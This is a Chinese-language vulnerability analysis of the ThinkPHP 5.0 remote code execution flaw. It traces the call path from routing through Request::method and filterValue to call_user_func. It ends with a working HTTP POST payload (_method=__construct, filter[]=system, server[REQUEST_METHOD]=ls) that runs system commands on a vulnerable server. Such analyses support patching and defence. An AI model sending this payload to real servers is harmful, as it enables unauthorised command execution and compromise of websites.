ThinkPHP框架远程代码RCE漏洞
ThinkPHP分析
define('APP_PATH', __DIR__ . '/../application/');
require __DIR__ . '/../thinkphp/start.php';
require __DIR__ . '/base.php';
App::run()->send();
require CORE_PATH . 'Loader.php';
public static function run(Request $request = null)
{
....代码省略
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config); #重点
}
// 记录当前调度信息
$request->dispatch($dispatch);
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
// 监听 app_begin
Hook::listen('app_begin', $dispatch);
// 请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except'] #重点
);
$data = self::exec($dispatch, $config); #重点 这时候如果debug模式开启,就会调用$request->param()
} catch (HttpResponseException $exception) {
$data = $exception->getResponse();
}
...代码省略
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 导入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
is_array($rules) && Route::import($rules);
}
}
}
// 路由检测(根据路由定义返回不同的URL调度) 重点
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}
// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
return $result;
}
...代码省略
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
//instance()->param() 跟进
$vars = array_merge(Request::instance()->param(), $dispatch['var']); # 重点
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
...代码省略
...代码省略
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
//如果method等于true,调用$this->server() 重点
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
//如果$method不等于true,则会取配置选项var_method,该值为_method
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
//调用$this->{$this->method}($_POST);语句
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
...代码省略
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
//在server()方法中调用$this->input方法 重点
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
...代码省略
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
# 重点 跟进filterValue()
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
...代码省略
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
...代码省略
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value); # 超级重点 代码执行点
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);
}
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
//检查解析缓存
if (!App::$debug && Config::get('route_check_cache')) {
$key = self::getCheckCacheKey($request);
if (Cache::has($key)) {
list($rule, $route, $pathinfo, $option, $matches) = Cache::get($key);
return self::parseRule($rule, $route, $pathinfo, $option, $matches, true);
}
}
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace($depr, '|', $url);
if (isset(self::$rules['alias'][$url]) || isset(self::$rules['alias'][strstr($url, '|', true)])) {
// 检测路由别名
$result = self::checkRouteAlias($request, $url, $depr);
if (false !== $result) {
return $result;
}
}
# $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); 重点
$method = strtolower($request->method());
// 获取当前请求类型的路由规则
//check()方法中根据不同的$rules值返回不同的结果,而$rules的值由$method决定,$method则由$request->method()返回值取小写获得,所以再次回到$request->method()方法,这次没有参数
$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
// 检测域名部署
if ($checkDomain) {
self::checkDomain($request, $rules, $method);
}
// 检测URL绑定
$return = self::checkUrlBind($url, $rules, $depr);
if (false !== $return) {
return $return;
}
if ('|' != $url) {
$url = rtrim($url, '|');
}
$item = str_replace('|', '/', $url);
if (isset($rules[$item])) {
// 静态路由规则检测
$rule = $rules[$item];
if (true === $rule) {
$rule = self::getRouteExpress($item);
}
if (!empty($rule['route']) && self::checkOption($rule['option'], $request)) {
self::setOption($rule['option']);
return self::parseRule($item, $rule['route'], $url, $rule['option']);
}
}
// 路由规则检测
if (!empty($rules)) {
return self::checkRoute($request, $rules, $url, $depr);
}
return false;
}
函数 | <-传递 | <-传递 | <-传递 | <-传递 | <-传递 | <-传递 | 条件 |
---|---|---|---|---|---|---|---|
call_user_func($filter, $value) | filterValue(&$value, x, $filters) | filterValue($data, x, $filter) | 如果input函数中$name为真,那么$data=$name,则 $filter = t h i s − > g e t F i l t e r ( this->getFilter( this−>getFilter(filter, $default); | t h i s − > i n p u t ( this->input( this−>input(this->server, false === n a m e ? f a l s e : s t r t o u p p e r ( name ? false : strtoupper( name?false:strtoupper(name), $default, $filter); | server($name = ‘’, $default = null, $filter = ‘’) | $this->server(‘REQUEST_METHOD’) ?: ‘GET’; | $method控制 |
主要利用方式控制$method的值
,并且调用Request类的任意方法,当调用构造方法__construct()
时,就可以覆盖Request类
的任意成员变量
,上面的$this->filter和$this->server两个值,同时也可以覆盖$this->method,直接指定了check()方法中的$method值。(类似于反序列化,主要就是覆盖Request类中成员变量形成了代码执行因素)
主动触发Request类的构造函数,通过参数_method=__construct传入
可以传入filter=system来设置$this->filter的值,此处filter不是数组也可以,因为在getFilter()中虽然对filter是字符串的情况进行了按,分割,但是传入一个值的情况下不影响最终的返回值
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
$this->server
,在调用$this->server('REQUEST_METHOD')
时指定了键值,所以通过传入server数组即可
server[REQUEST_METHOD]=id
然后我们注意到上面check()方法,
$rules = isset(self::\$rules[$method]) ? self::\$rules[$method] : [];
它的返回值由$rules
决定,而$rules
的值取决于键值$method
,当我们指定$method
为get
时,可以正确获取到路由信息,从而通过checkRoute()
检查,此时我们通过指定method=get
覆盖$this->method
的值即可
s=captcha
,根据源码我们知道,它是通过get的方式注册的,也就意味着只能通过get给captcha传参,且method函数的返回值必须是get,因此在method方法结束后,所以我们必须将$method的值覆盖为get,这样才能保证我们访问captcha路由不会出错,app.php会继续向下进行
POST /index.php?s=captcha HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en\
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
python3 MPHP.py -h